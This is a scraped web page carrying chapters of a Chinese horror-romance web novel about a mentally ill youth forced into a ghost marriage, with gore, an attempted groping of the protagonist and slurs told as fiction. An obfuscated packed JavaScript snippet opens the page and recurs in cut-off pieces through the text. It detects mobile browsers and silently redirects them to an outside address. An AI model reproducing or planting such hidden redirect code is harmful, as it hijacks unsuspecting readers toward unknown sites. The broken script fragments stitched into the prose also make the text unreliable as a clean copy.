;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854392|191614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转过身使劲敲门,“救命!!救命!!!” 他敲了很久,嗓子都发哑哽咽起来,却始终都没有人理会他。 灵堂内已经停止了晃动,纸扎人也快要烧尽了,但恐惧并没有退散,偌大的祠堂像一座沉压压的黑山笼罩在他头顶。 不对…… 不对! 谈雪慈掐着手心,强迫自己冷静下来,不对,他突然想到,自己精神有问题。 他从小就能看到那些阴暗的生物,或者可以称之为鬼怪,但这个世界上并没有鬼,谈雪慈知道,他只是出现了幻觉。 不然怎么解释,这些鬼怪每天晚上都阴冷怨毒地盯着他,却从来没有真的伤害到他,而且他的药很管用,每次吃完以后鬼怪就会消失。 谈雪慈从来没怀疑过他精神有问题,就连医生也说过,他幻觉中的鬼怪伤害不了他,所以他唯一要对抗的就是心底的恐惧。 太好了,他有病! 想到这儿,谈雪慈浑身一软,跌坐在地上,小脸也有了血色,终于冷静下来一点。 他现在……应该也不在灵堂。 就算在灵堂,也不可能有什么会动的纸扎人,都是他的幻觉,或者他在做噩梦,只要找到其他人就好了,会有人送他去医院。 “……”谈雪慈一开口,嗓子都在颤,声音很微弱,“贺……贺先生,你在吗?” 灵堂寂静一片,沉默压抑到像厚重黑夜之下,有一只大手在心脏上不停地揉捏,让人浑身虚脱,呼吸艰难,连喘息的力气都快没有了。 “贺先生?” “……” 不理他。 谈雪慈抬起手背揉了揉眼睛,他小声抽搭了一下,咬住嘴唇,不让自己哭出声,但有点忍不住,唇瓣都被自己咬得嫣红不堪。 刚结婚就不理他,这不就是丧偶式婚姻,这种冷冰冰的老公跟死了有什么区别。 难怪他做噩梦看到了贺恂夜的遗照。 对上了。 都对上了。 还有那个棺材,摆在屋子中央,大概是床吧,他被迫嫁给陌生男人,跟对方躺在同一张床上,这种婚姻如同坟墓。 又对上了。 谈雪慈小小地舒了一口气。 他刚出院没多久,之前同病房的大爷也是精神分裂住院的,他们病房是六人间的开放式病房,精神状态都比较稳定,医生允许适当用一会儿手机,他每天都能听到那个大爷在刷情感专家的短视频,学会了很多。 “善语结善缘,恶语伤人心,不想被男人伤心,这种婚姻千万要不得。” “当你被男人冷暴力,你应该这样做。” “男人,挂在墙上才会老实。” 谈雪慈:“……” 好像……好像有点对,又好像不太对,但他又想不通到底怎么不对。 谈雪慈抱着膝盖呆坐在原地,眼睛睁得溜圆,苍白微尖的下颌抵住膝头,有点不安地到处张望,他一会儿记得自己好像在做噩梦,一会儿又不记得了,只觉得群鬼环伺,他脸上还带着泪痕,又想哭,又不敢哭得太大声。 他哽咽地小声啜泣,乍一听像闹鬼了一样。 “……” 旁边燃烧的火舌似乎停滞了一下,但只是很短暂的一瞬间,紧接着又蓦然腾起,将剩下的纸扎人都烧了个干净。 谈雪慈被吓了一跳,他眼窝浅,哭起来就容易弄得满脸都是眼泪,此刻鼻头跟眼睑都红红的,顶着张哭湿的脸蛋,大气也不敢喘。 “贺先生?”谈雪慈又怯怯地叫。 他下意识不敢直接叫贺恂夜的名字,在这样一个阴冷诡异的灵堂,就这么叫一个死人的名字,有种在招魂的感觉。 想想就头皮发麻,浑身都止不住地抖。 …… 灵幡摇晃,棺材漆黑。 “老……老公,”谈雪慈跪在地上,他还是有点怕,甚至不敢站起来,发着抖,咬住发红的嘴唇,小声小气地叫,“老公,你在吗?” 他从来没管谁叫过这种称呼。 就算处在这种恐怖的环境中,耳根还是不自然地透出红来,巴掌大的小脸怯生生的,就像个一无所知却被献祭给恶灵的新娘。 沉默。 无人应答。 只有案台上那对白蜡烛的烛火无风自动地摇曳了一下,映着男人阴郁模糊的脸。 谈雪慈病还没好,又受到了惊吓,他等了一会儿,还是没人管他,意识却越来越沉重,连恐惧都抵挡不住疲惫。 灵堂内已经没动静了,他不知道该放心还是该害怕,揉了揉发红的眼睛,终于彻底熬不住,整个人歪倒在地上。 喜服宽大的袖摆被他揉成一团,垫在脑袋底下,泪眼朦胧地睡了过去。 他睡得很沉,也就没有发现,遗照上面容俊美的男人,漆黑的眼珠突然缓缓垂下,像一条湿冷黏腻的舌,从他雪白的脚心上舔过。 4. 小傻子 谈雪慈睡得昏沉,加上生病,彻底失去了意识,再睁开眼时,外面淅淅沥沥下着雨,灰沉云层湿漉漉地笼罩住贺家老宅。 不过也能看出来是白天。 他在一个陌生的卧室,卧室里大多是老式的小叶紫檀木质家具,在雨中弥漫开冷清的草木香,但过于冷清,以至于没什么人气。 他眼神茫然了几秒,就抱住被子小心翼翼地坐了起来,然后猝不及防对上床正前方案台上的遗照,整个人如遭雷击,脸色瞬间惨白。 遗照上的男人桃花眼收窄,也许是照片过于黑白分明的缘故,他眼眸显得格外黑,像被滂沱阴雨覆盖的浓夜,但唇角却仍然像昨晚一样噙着笑,又无端有种凝视般的温柔。 就好像他已经这样盯了谈雪慈一整个晚上。 谈雪慈心跳不由得加快,冰凉冷白的脚趾蹬在床单上,噔噔噔往后挪了好几步,整个人紧紧地贴在床头,双手都在发抖。 他还以为自己昨天晚上在做噩梦,难道梦还没醒吗?但他从来没做过这么久的噩梦。 谈雪慈揉了下眼睛,再抬起头时遗照上的男人仍然笑吟吟地望着他,他鸦翅般的长睫颤个不停,小脸上彻底没了血色。 完了。 他老公好像真的死了。 卧室门没彻底关严,压开了条手掌宽的缝隙,此刻走廊上到处都是慌乱的脚步声。 谈雪慈转过头,就见许多佣人在惊恐地跑来跑去,嘴里念叨着什么弄错了,家主在生气。 他团了团过长的喜服,还没想好自己该怎么办,卧室门就突然被人推开,走在最前面的人穿着黑衫,头发花白,像个管家。 谈雪慈呼吸一紧,对方身形瘦削,看起来至少六十多岁了,脸上的老年斑像陈腐的尸斑,让他想起昨晚见到的那个老人。 管家手上很恭敬地捧着贺恂夜的牌位,他将牌位递给谈雪慈,让谈雪慈抱在怀里,然后拿那双苍老浑浊的眼望着他说:“新婚的规矩,新娘子三天不得下床,不能饮食,除非必要,也不能放下手里的灵位,如需便溺,可以让佣人拿恭桶来,但仍然不能下床。” “新娘子要保持身体洁净,三天后沐浴结束,我会带您去祭拜大少爷。” “……”谈雪慈接过牌位,沉得他差点没抱住,他张了张嘴,小脸上一片茫然,什么也没听懂,只听懂不能吃不能拉。 好像没有一句人话。 管家也没等他回答,说完之后,就朝门外招了招手,然后进来了两个年轻的男佣人,看着都只有二十出头。 “谈少爷,”管家老迈的脸上露出个微笑,但刻板极了,像纸人脸上描画出来的,给他介绍说,“这是张春平和江恒,这几天就让他们照顾你,有什么事都可以跟他们说。” 谈雪慈嘴唇翕动了下,他唇珠很小的一颗,抿得通红,什么声音都没发出来,只有脸色比刚才更白了一点。 这两个人他也觉得有点眼熟,很像昨晚提着红色宫灯迎亲,又按住他拜堂的那对纸扎人。 管家跟他说完,就幽魂一样带着剩下的人离开了,只将他跟那两个人留下。 谈雪慈抱着那块牌位,跪坐在床上,也不知道是拿什么木头做的,沉得像有几十斤,才抱了几分钟,指肚就压出片淤痕。 那两个男佣人跟着管家朝他打过招呼以后,就没再跟他说话了,去靠近门口的椅子上坐下,中间还摆了张小木桌。 管家不允许他们带手机,但没有禁止别的,他们就拿了副扑克牌,不然这三天得憋死。 他们边打牌,边低声聊天。 其实按规矩应该让女性过来陪新娘,但贺家这是个男妻,这才找了他们两个。 他们两个不是贺家本家的佣人,是贺家家主算过八字之后,在婚礼前几天临时雇的。 江恒是贺家一个保姆的远房侄子,张春平是村里来的临时工,平常在洗车店上班。 谈雪慈手臂越来越酸,鼻尖都冒出了薄汗,乌黑碎发黏在白皙的脸颊上,喜服本来就厚重闷热,他现在浑身都像从水里捞出来的。 昨晚他太害怕了,都没注意,他手腕上竟然还被贺家人给套了三对龙凤金手镯,每一个都是上百克的足金,衬得他原来就纤细的手腕越发瘦伶伶的,看着还没镯子粗。 谈雪慈低低地喘了口气,他想偷偷放下歇一会儿,那两个男佣人却很眼尖,一扭头就发现了,然后马上让他抱起来。 张春平双手抱臂说:“谈二少,你也别为难我们,你不听话,待会儿我们都得被管家训,你再撑三天,再撑三天就结束了。” 谈雪慈手指颤抖地抱住牌位,外面风雨交加,他身上的喜服也在渐渐加大的暴雨中成了暗红色,像个在丈夫死后被陪葬的新娘。 张春平莫名有点发毛,他搓了搓胳膊重新坐回去,没忍住跟江恒聊起来。 他拿手指点点自己的头,说:“诶,兄弟,我听说谈家这二少爷,这儿有问题?” “可不,”江恒叼着根烟,边洗牌边说,“长得挺漂亮,结果是个傻子,可惜了。” 贺家不让抽烟,他也不敢点,只能叼着过个嘴瘾,没办法,贺家给的钱实在太多了,他们当然会按规矩替贺家办好每件事。 不然那位家主也不会放过他们。 每人三十万。 这钱肯定不是那么好赚的。 他本来想说谈雪慈是个傻子,难怪被弄来配冥婚,但话到嘴边又改口说:“能嫁给大少爷,也是他的福气,以后贺家能养他一辈子。” 贺家这种风水世家,不是一般人能接触到的,他虽然有个亲戚在贺家当保姆,但他也只是知道对方在贺家干活而已。 对方嘴紧得很,从来不提东家的事,他只知道贺家是做风水生意的,神神鬼鬼,听着还挺唬人,但他自己说实话并没有很信这些。 世上怎么可能有鬼呢。 不过话又说回来了,贺家才死了人,还搞冥婚,怪邪门的,这家人一看就很迷信,他还想捞钱,当然嘴上也得跟着忌讳点儿。 “我不是小傻子……” 一道微弱的反驳声响起,谈雪慈苍白着脸,嘴唇嗫喏了下,他本来想说自己不是小傻子,他爸爸妈妈说不定不知道贺家这么吓人才把他送过来的,说不定他们现在也很着急,在等他回家呢,他不是没人要的小傻子。 但还没说完就发不出声音了,他就是没人要没人管才会被送到这个地方。 谈雪慈吧嗒吧嗒掉眼泪,张春平听见动静不对,一扭头看到,有点尴尬地挠了挠脸,小声跟江恒说:“他能听懂啊?” 他们知道谈雪慈是傻子,所以刚才说话都没避着谈雪慈,甚至都没有刻意压低嗓音。 不过被谈雪慈听见了,他们也不怕,谈雪慈脑子肯定还是有点问题的。 正常人被这么蛐蛐,早就忍不住生气了,谈雪慈却只是垂着头,眼泪沿着苍白的下巴尖往下掉,除了哭,没任何别的反应。 张春平又心安理得地坐了回去,他皮肤黝黑的脸上,那对小眼睛却还瞅着谈雪慈。 他也是才看清谈雪慈的脸,新娘子要是个女的,他肯定很好奇长什么样,但男的有什么看头,何况谈雪慈还穿着这么吓人的衣服,他过去检查牌位,都没敢对上谈雪慈的脸。 但谈雪慈刚才掉眼泪,泪蒙蒙地往他们的方向望了一眼,少年肤色很白,只有嘴唇跟薄薄的眼睑在泛红,满脸湿漉漉的泪痕,像剥了壳的白荔枝,又像个瓷胎捏出来的玉美人。 差点给他看硬了。 江恒舔了舔干燥的嘴皮,眼神也有点直。 两个二十出头的年轻男人仗着阳气重,胆子又大,才敢在这儿做死人的生意,但再胆大也不敢觊觎死人的新娘。 所以只是猥琐地相视一笑。 张春平走过去拿起谈雪慈带着囍字的红盖头,又重新给他盖上了,眼不见心不烦,省得谈雪慈拿那张脸勾引他们。 哭就哭。 还故意瞅着他们哭。 勾引谁呢。 村里习俗多,张春平听说过有的地方会饿嫁,就是结婚前三天,让新娘禁食,保持身体洁净,免得把娘家的晦气带到夫家。 而且很多地方轿夫会故意晃轿子,这也属于一种闹新娘,轿子本来就颠簸,再这么一闹,吃过东西的话很容易会吐出来。 但一般婚礼第二天新娘就可以稍微吃点饭了,拜完堂才开始饿,他也是头一次见。 够邪性的,估计独生子死了,贺家香火一断,老两口疯了吧。 “我老家是鄢下村的,”张春平扔出一个对三,将脚踝搭到另一边膝盖上说,“我们村也有个傻子,从小生下来脑子就不好,十几岁了还听不懂人话,每天在家里发疯咬人,爹妈养到十七岁,实在受不了了,就把他带到山上去玩,再下来的时候,就他们夫妻两个了。” 江恒其实能猜出来,但听到这种事脸色多少有点怪异,他小声说:“推下去了啊?” “知道你还问,”张春平瞥了他一眼,低嗤说,“反正那女的肚子里又有了,俩人下来的时候都喜气洋洋的。” 江恒扔了个炸,咬着烟头什么也没说。 张春平反而凑近了一点,神秘兮兮地说:“你知道后来怎么样了吗?” “……怎么样?”江恒迟疑地问。 “我当时已经来这边打工了,”张春平压低嗓子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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等他终于冷静下来一点,才哆嗦着跟江恒说:“刚才外面有个鬼脸。” 江恒被他这接二连三搞得心烦,脸色也难看起来,“你还有完没完?!” 张春平自知理亏,悻悻地闭上嘴,两个人沉默下来,谁都没再提这茬。 谈雪慈不能吃饭,但他们得吃,很快就到中午了,贺家的佣人过来给他们送饭。 张春平起身去拿,对方将餐盒递给他,都没敢往卧室看,就像被鬼撵了一样掉头就跑。 张春平莫名其妙地挠了挠头,换成平常他不会多想,但经过刚才那么一出,他心里突然有点毛毛的,将饭菜递给江恒,就说:“哥们儿,你先吃着,我想去趟厕所。” 他被吓得有点想尿了。 暴雨的天气,管家让人给他们送了几道小炒,还有米饭和冒菜,红油裹着鸭肉毛肚,火腿也是提前煨过的,浓辣扑鼻,黑釉砂锅盛着一大份还在冒白色热气的冒菜,馋得人口水都开始分泌,浑身也跟着暖和起来。 “你快点啊,”江恒接过去,“我也想上。” 这个房间里就有厕所,不止谈雪慈,他俩虽然能吃饭,但这几天也不允许离开这个房间。 张春平一溜烟跑去了卫生间,江恒等了半天,张春平都没出来,他心底有点烦躁,忍不住又抬头看向谈雪慈。 谈雪慈听到他们一直在大吼大叫,吵得很大声,他有点害怕,下意识抱紧了怀里的东西,都忘了自己抱着的是块牌位。 他努力蹬着床被往角落里缩,眼泪直直地坠下来,都砸在贺恂夜的牌位上。 漆黑的牌位结了霜一样,滑下几道水痕。 江恒嗓子吞咽了一下,他是个同性恋,这辈子都没见过谈雪慈这么漂亮的男生,大概因为人有点痴傻,显得眼神尤为纯净,乌黑纤长的睫毛垂下来,在眼睑处扫下一片阴影,像飘飘摇摇的小雪一样,挑不出半点瑕疵。 谈雪慈仍然顶着盖头,什么都看不到,但总觉得有人在盯着自己,他有点无措地蜷紧了指尖,纤细白嫩的指尖都攥红了,灵牌一点点歪倒下去,过于沉重的分量压得他也几乎摔倒。 江恒盯着他从红色刺绣衣摆里露出来的几根细弱手指,又不由自主地咽了咽口水。 反正……反正这个地方除了他跟张春平,不会有人来,张春平看样子一时半会也不会过来,谈雪慈只是个小傻子,什么都不懂。 贺家搞冥婚,说不定等婚礼彻底结束,就会让谈雪慈去陪葬,多可怜。 他又不干别的,摸一下手总行吧。 他只是想安慰谈雪慈而已,这小傻子的手一直在颤呢,肯定很害怕。 江恒不知不觉地走到了谈雪慈面前,然而还没伸出手,他瞳孔就瞬间放大,嘴唇开始发抖,像见到了什么格外恐怖的东西。 有只惨白修长的手伸出来,它没有指甲,像被硬生生拔掉了,带着鲜血淋漓的阴气,掌心覆在谈雪慈的手背上,大小差距悬殊,将谈雪慈整只手都盖了起来,缓缓握住。 然后一点一点地扶正了灵牌。 5. 撞邪 张春平一溜烟跑去解手,贺家这大少爷的卧室是个套房,除了主卧还有书房跟几个锁着门的小房间,他穿过走廊才找到卫生间。 暴雨阴冷,贺家老宅的隔音好像不太行,他能听到滴滴答答漏水的声音,就像在他头顶上一样,大概是外面的雨声。 中间还听到江恒过来敲了敲门,卫生间磨砂玻璃窗上映着个模糊的黑影,嗓音也低且含糊,彬彬有礼地问他,“你好了吗?” “马上马上。”张春平有点烦,他也没进来多久,裤子都没拉开呢,催什么催。 但听到有人说话,他确实没那么害怕了,就没跟江恒生气,他摇晃起来,哼着歌去洗手,出去时经过走廊,有一面落地的更衣镜。 他对着镜子,想整理一下头发,然而才抬起手,脑子就顿时嗡鸣了一声。 镜子里的张春平并没有任何动作,双手斯文地垂在两旁,正笑意盈盈地望着他,就像在惊讶他的好心情。 …… 江恒惨白着脸,往后踉跄了一下,他还以为是自己眼花了,然而那只苍白鬼手握住谈雪慈的手扶正灵牌以后,却并没有离开。 谈雪慈的手实在比对方小了至少一圈,那东西将自己小妻子微微颤抖的手拢在掌心里,当着外人的面,爱不释手地把玩。 其实对方的手并不丑陋,虽然甲床上血肉模糊,根部淤血发黑,没有指甲,但劲瘦有力,指节清晰,这一幕甚至有些怪异的美感。 江恒浑身都在发抖,他正想去找张春平,就听到走廊上突然传来一声凄厉的惨叫。 “啊啊啊啊啊!!!!” 紧接着,张春平屁滚尿流地跑了过来。 江恒立刻朝他跑过去,远离了鬼手,然而他还没来得及拉住张春平让他看,转过头就发现刚才的鬼手不见了,谈雪慈始终没动,就好像不知道自己的手被攥住过一样。 江恒又开始怀疑自己眼花了,他是真的不信这些神神鬼鬼,他好歹名校大学生,还是理工专业的,信奉的是唯物主义世界观。 他今年读大三,还没毕业,平常很喜欢玩恐怖游戏,不管是线上的恐游,还是在宿舍跟室友玩笔仙、碟仙、四角游戏之类的。 要是这世上真的有鬼,他早就该撞见了,还能活到现在? 江恒紧绷的脊背慢慢放松下来。 张春平却脸色煞白,他眼神惊惧,脸部神经质地抽动,几乎被愤怒跟恐惧撕裂,但最后还是被耍了的愤恨占据上风。 “鬼!”他一把扯住江恒,嘴唇发抖地说,“真的有鬼,江恒,我没骗你,这地方真的有鬼,不行,不能再待下去了,操他妈的,江恒,咱哥俩被贺家那老东西做局了!” 江恒还是不太相信,他觉得是张春平胆子太小了,一惊一乍的,害得他也被影响。 而且他知道张春平,这人是个惯偷,蹲了好几次局子,这次出来以后彻底被洗车店辞退,平常又大手大脚,喜欢买点名牌,手头欠了十几万,这才没办法,接了贺家的生意。 谁跟他是哥俩。 江恒暗暗翻了个白眼。 张春平哆嗦着收拾东西,拎上就想走,别到时候有命赚没命花,这家人结阴亲,搞不好连那个新娘子都是死的,他俩是在陪死人! 但马上到手的三十万就这么飞了,他怎么也不甘心,贺家……贺家这么大,肯定很多好东西,他随手带几件出去,应该都能卖个好价钱。 张春平眼底掠过一丝阴狠,贺家既然骗他,就别怪他不义! 江恒伸手想拦他,但他俩才认识几天,体格又差不多,张春平打定主意想走,他总不能把人打晕了留下,只能眼睁睁看着他离开。 管家不让他们带手机,他现在都没办法跟外界联系,而且贺家那个家主说了,必须他俩同时留在这栋楼里,才算什么什么阵。 当时他觉得都是封建迷信,也没仔细听,总之只剩他一个人,什么用也没有。 江恒咬了咬牙,只能跟着离开,他出去找到管家,说不定还能把张春平弄回来。 但贺家这栋楼尤其大,老式的黑漆木楼,走廊纵横交错如同蛛网密布。 贺恂夜的房间在三楼,他匆忙推门出去,在阴沉昏暗的走廊里找了好几个来回,都没找到下去的楼梯,反而又转到谈雪慈门口。 隔着雾蒙蒙的窗纸,能看到新娘穿着暗红色嫁衣,一动不动地抱着丈夫的灵牌。 江恒头皮一瞬间就抓紧了,他嗓音干涩,低声叫道:“张春平?张春平你还在吗?” 他连着叫了几声都没回音,直到走廊尽头一个房间突然传来张春平激动的大叫声,江恒才发现自己后背都已经被冷汗湿透。 他脚下一软,差点把自己绊倒,跌跌撞撞就朝声音传来的方向跑去。 “张春平?”江恒擦了擦手心冷汗,小心翼翼地推开门说,“张哥?” 张春平背对着他,怀里还抱着什么东西,听到江恒的声音,他满脸红光地转过头,嗓音都在狂喜发抖,将怀里的东西举起来给江恒看,“江恒,江恒你快拿啊,跟我一起拿,这么多金子,我这辈子都没见过这么多金子!” 他搂紧怀里的金元宝,都已经快抱不住了,另一只手却还在不停地从柜子里往外扒拉。 江恒嘴唇哆嗦着,却发不出一个音节。 哪有什么金子,张春平怀里抱着的,明明都是纸扎的金元宝。 但张春平自己好像完全没发现,他涎水都流了下来,眼底的贪婪让他丑陋扭曲得不像人类,他奇怪地盯着江恒,问他,“你怎么不拿?” 装货。 谁看到这么多钱能不动心。 不过也不好说,张春平鄙夷地瞥了江恒一眼,他记得江恒比他小几岁,本来在理工大读书,但之前被劝退了,因为猥亵一个学弟。 死男同。 说不定只好色不爱钱。 张春平都不敢跟他多说话,生怕被这个死男同看上,刚才他就看出来了,他跟江恒说话,江恒都心不在焉,眼神一直在瞟谈雪慈。 那小傻子真就像个心智不全的小孩一样,几根细白的手指攥着袖口,江恒盯着他的指尖看了老半天,看得他都有点头皮发麻。 张春平承认他也觉得谈雪慈漂亮,但毕竟是个男的,看几眼就算了,摸男的手恶不恶心啊,也就是他还在屋里,他感觉他走了,江恒都能捧住谈雪慈的手亲上去。 张春平心里嘀咕着,继续抱他的金子,江恒却惨白着脸,一直催他出去。 “别拿了。”江恒咬住牙叫他,倒不是他多好心,想救张春平,但这个地方摆明了有问题,他的唯物主义世界观摇摇欲坠,一个人逃出去的机会总没有两个人大,他想叫上张春平陪他一起走,张春平却抱着金子不放。 江恒急出满脑门的汗,忍不住怒道:“我操你妈的别拿了!那他妈根本不是金子!” 张春平也忍无可忍,他气得将头一歪,嘴里的涎水都要滴在鞋面上,正想质问江恒在发什么疯,就见江恒喉咙里挤出很短促的一声抽气,那张脸上是肉眼可见的惊恐。 他纳闷地望着江恒,“怎么了,兄弟?你怎么不说话了?” “你……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他双眼空洞,脸色青白,摇摇晃晃地往前走,一直走到楼梯口,突然觉得有什么东西掉了下来,他茫然地接住,才发现是他被咬烂的半个脑袋,白花花的脑浆像肥油一样冒出来。 江恒僵在原地,他瞳孔缩成了针尖大小,发出无声的惨叫,然后直直地倒了下去。 - 谈雪慈浑身都很疼,终于抱不动那个牌位,摔倒在床上,他双手不停地发抖,指尖被压出淤血,眼前一片昏黑。 他一动不动地趴了几分钟,都没人管他,就艰难地抬起手,将盖头扯了下来。 张春平跟江恒都不见了,只剩下他一个人,桌上还放着午饭,一口也没动过。 谈雪慈拖着沉重的身体,踉踉跄跄地下床往桌边走,他几乎是爬过去的。 整个贺家老宅都被暴雨笼罩,阴云密布,到处都黑压压的,弥漫着死气,再加上他胃里剧痛,他根本没发现地上的血迹,就扑到桌边,颤抖地拿起筷子往嘴里扒饭。 谈雪慈始终没发现,江恒他们也没看到,从他接过牌位的那一刻起,就有黑雾从牌位中缓缓涌出,在他身后凝结成一道高大的黑影。 他扒了几口米饭,又去夹冒菜,菜刚端过来不久,上面的红油仍然滚烫。 谈雪慈没防备,他才塞到嘴里,就被烫得蒙上一层泪膜,只能顶着一张湿漉漉泛红可怜的脸,下意识张开嘴将舌尖探了出来。 然后有什么冰凉的东西靠近,低声喟叹了一下,怜惜地含住了他的舌头。 6. 医生 谈雪慈舌尖被烫得生疼,几乎失去知觉,突然凉了一瞬,他也没想太多。 他已经很久没吃饭了,这么辣的东西吃下去,胃疼到冷汗直流,但他太饿了,也不知道贺家人还会不会给他吃饭,说不定待会儿那两个人就会回来,他埋着头只顾往嘴里塞。 果然,他才扒了几口米饭,都还没咽下去,外面就匆匆响起一阵脚步声。 听起来不止两个人。 谈雪慈吓得手上一抖,连筷子都掉了下去,他紧张地想爬回床边,但腿软到根本站不起来,只能软在地上,蜷缩在角落里。 木桌后面是个紫金檀木斗柜,他努力蜷缩在柜子跟墙壁的夹角,埋下头抱紧自己的腿,浑身都在肉眼可见地发抖。 来的却是管家,不是刚才那两个人。 “谈少爷?”管家过来时脸色就很沉重,发现床上没人,只有一块歪倒的漆黑牌位时,顿时大惊失色,“谈少爷!” 浓稠厚重的云层笼罩下来,此刻天光昏暗,卧室里也没开灯,到处都黑压压的,他一开始都没看到谈雪慈。 被子底下没有,床底没有,衣柜里也没有。 管家一个扭身跑去猛地拉开厕所门,连洗脸池带浴缸都找了一遍,“谈少爷!” 他找了一圈,黑衫都被冷汗湿透了,才终于在角落找到谈雪慈,长出了一口气。 管家脸上肌肉僵硬,就好像看到了什么格外恐怖的东西,受到的惊吓不比谈雪慈少,勉强笑着说:“谈少爷怎么坐在这儿?” 然后朝身后的两个女佣挥了挥手,让她们赶紧将人扶起来。 但阴沉的天色,对方的黑衣服,加上那张老朽的脸,笑起来更吓人了。 谈雪慈苍白着脸,他睁大了眼睛,眼泪沿着消瘦下颌惊恐地流了下来,只有嘴唇被他自己咬得发红,看起来可怜至极。 管家却没再抓他去抱牌位,甚至弯下腰,就像怕吓到他一样,看到他手上还抓着半个包子,小心翼翼地说:“谈少爷饿了?” 谈雪慈悄悄缩成一团不说话。 管家手一挥,旁边的女佣马上会意,赶紧出去端菜,桌上的剩菜也被撤了下去。 菜很快就端了上来,汆白肉,配上红油辣酱跟蒜泥,肥而不腻的红烧肉,糖醋鱼,几个清炒蔬菜,还有一大碗米饭。 谈雪慈睫毛微颤,偷偷看了一眼桌上的饭菜,管家跟几个佣人好像都没有阻拦他的意思,还一个劲儿地让他吃。 谈雪慈这才爬起来,他努力扒了半碗饭,桌上的菜吃得七七八八,眼泪也不掉了,就是眼神很茫然,人还是有点呆。 管家也听说了谈家这个二少爷智力上有点问题,而且病殃殃的,看着还胆子小,实在脆弱得很,他都不敢大声说话了。 生怕哪句没说对,自己也得分头行动。 管家心有余悸地擦了擦额头冷汗,俯身恭敬地跟谈雪慈说:“谈少爷,吃好了吧?老爷在楼下等您,想见您一面。” 谈雪慈迟钝地抬起头。 管家让两个女佣找来贺恂夜生前的衬衫西裤,给他换掉身上的喜服。 谈雪慈也不知道他们要对他做什么,把他带去哪里,但他没有反抗,很乖地被摆弄。 他身体不好经常生病,精神也有问题,以至于他的命运从来不在自己手里,像个蓬松柔软的小面团一样,能被人随意捏圆搓扁,稍微捏他一下,他过一会儿就能自己偷偷蓬起来,但捏得太用力,也是会扁很久的。 贺家比他想的糟糕一点,因为很吓人,而且他这个没见过的老公已经死了,但又比他想的好一点,至少没打他,还给他饭吃。 男人大概个子很高,谈雪慈穿上对方的衬衫,手背都会被完全遮住,松松垮垮,露出大片大片雪白削薄的锁骨,裤子也长了一截,浑身都很空荡,像小孩偷穿了大人的衣服。 女佣只好把袖口跟裤腿都给他挽起来一点,挽好以后,她无意间瞥向谈雪慈,心里莫名咯噔了一下,直犯嘀咕。 谈雪慈一直低着头,对周围的一切都战战兢兢的样子,她就没去给他扣最上面那个扣子,伸手肯定会吓到他。 但现在那颗扣子却已经被人端端正正地扣好了,一寸多余的肌肤都没露出来。 - 管家等谈雪慈穿好衣服,就带他下楼,谈雪慈老实地跟在管家身后,抬起头,就对上了一张格外阴沉的脸。 贺家的家主叫贺乌陵,是风水界数一数二的人物,不过贺家也不是所有子弟都在做风水这行,贺睢就没有。 贺睢在他外公的公司上班,偶尔跟他提起贺家,语气甚至很厌恶,觉得都是神棍骗子。 贺乌陵穿了件黑色唐装,他眉心有一道很深刻的竖纹,衬得人不怒自威,他坐在沙发上,眼神沉冷凝重地盯着谈雪慈。 他没想到谈家敢换人,按成亲的规矩,任何人都不能在新郎之前看到新娘的脸,因此他才派了纸人去接亲,接过来也没检查。 不过贺乌陵也不是完全对谈家放心,他想检查,自然有别的办法。 但昨晚去接亲之前,他算了一卦,是睽卦,睽即乖离背弃,整体卦象却中平偏吉,克处逢生,向死而生,妄动则辱,不动则明。 说白了就是婚礼一定会出问题,但他最好不要贸然插手,贺乌陵就放弃了检查。 他望向谈雪慈,眼神复杂起来,其实谈雪慈也不是不行,甚至更好。 只是有点太合适了。 他需要一个八字纯阴的新娘,谈雪慈跟谈砚宁尽管八字相同,身上的阴气却比谈砚宁浓郁百倍,简直要化为实质。 常人身上带着这么浓重的阴气,多半已经邪祟缠身,甚至不止一只邪祟,就算不被害死,也会病死,谈雪慈却活到了现在。 甚至包括昨晚,他以为谈雪慈昨晚就会死,再不济也活不过今天,没想到看守他的两个人都死了,谈雪慈竟然还没死。 这不是命大能解释的,总不至于那东西真把谈雪慈当老婆了,舍不得杀他吧。 贺乌陵摩挲着手上冷绿色的扳指,眼皮半阖,掩住了眼底的烦躁阴沉。 不管怎么说,都已经完婚了,活人想离婚都得民政局摇号排队,冥婚更不能离。 谈家确实没猜错,他只是想要八字,不是想要人,唯一让贺乌陵不满的,就是谈雪慈是个傻子,婚礼仪式都差点毁于一旦。 昨晚祠堂里只有谈雪慈一个人,但他的纸人通七窍,他能感知到祠堂里发生了什么。 贺乌陵阴沉着脸,额头突突直跳。 天知道他昨晚怎么熬过来的,一会儿哭得像个小鬼,一会儿又哼哼唧唧地叫老公。 他见过谈家那个小儿子,温和斯文,比谈雪慈强了不知道几百倍。 贺乌陵额角青筋都绷了起来,最终还是没忍住,用力拍了下沙发扶手,冷着脸呵斥说:“不像话,谁教你的喊老公?!” 这傻子,蠢就算了,还不知羞耻。 谈雪慈被他吓了一跳,瑟缩起来连头都不敢抬,身体都下意识抖了抖。 贺乌陵深吸了一口气,想起管家刚才带给他看的那两个血肉模糊的东西,他眉心跳了跳,没再责骂谈雪慈。 “你上前来。”贺乌陵说。 谈雪慈抿了下唇,他最害怕这种严肃的长辈,但还是老实地走过去。 贺乌陵递给他一个红色的三角形小袋子,像道士常用的符袋,里面不知道装了什么东西,上面还挂着系绳,看起来能戴在脖子上。 